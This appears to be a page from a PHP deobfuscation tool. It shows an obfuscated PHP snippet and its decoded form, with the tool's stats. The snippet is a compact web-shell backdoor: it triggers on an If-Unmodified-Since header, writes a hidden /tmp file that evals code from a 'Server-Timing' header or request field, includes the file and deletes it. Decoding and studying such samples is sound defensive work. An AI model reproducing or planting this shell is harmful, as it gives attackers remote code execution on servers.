Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $_HEADERS = getallheaders(); if (isset($_HEADERS['If-Unmodified-Since'])) { $..

Decoded Output download

<?php 
$_HEADERS = getallheaders(); 
if (isset($_HEADERS['If-Unmodified-Since'])) { 
    $c = "<?php @eval($_HEADERS[\"Server-Timing\"]);@eval($_REQUEST[\"Server-Timing\"]);"; 
    $f = '/tmp/.'.time(); 
    file_put_contents($f, $c); 
    include($f); 
    unlink($f); 
} ?>

Did this file decode correctly?

Original Code

<?php
$_HEADERS = getallheaders();
if (isset($_HEADERS['If-Unmodified-Since'])) {
    $c = "<\x3fp\x68p\x20@\x65v\x61l\x28$\x5fH\x45A\x44E\x52S\x5b\"\x53e\x72v\x65r\x2dT\x69m\x69n\x67\"\x5d)\x3b@\x65v\x61l\x28$\x5fR\x45Q\x55E\x53T\x5b\"\x53e\x72v\x65r\x2dT\x69m\x69n\x67\"\x5d)\x3b";
    $f = '/tmp/.'.time();
    file_put_contents($f, $c);
    include($f);
    unlink($f);
}

Function Calls

getallheaders 1

Variables

None

Stats

MD5 9bba5efb8488054782a45bf60288cd29
Eval Count 0
Decode Time 49 ms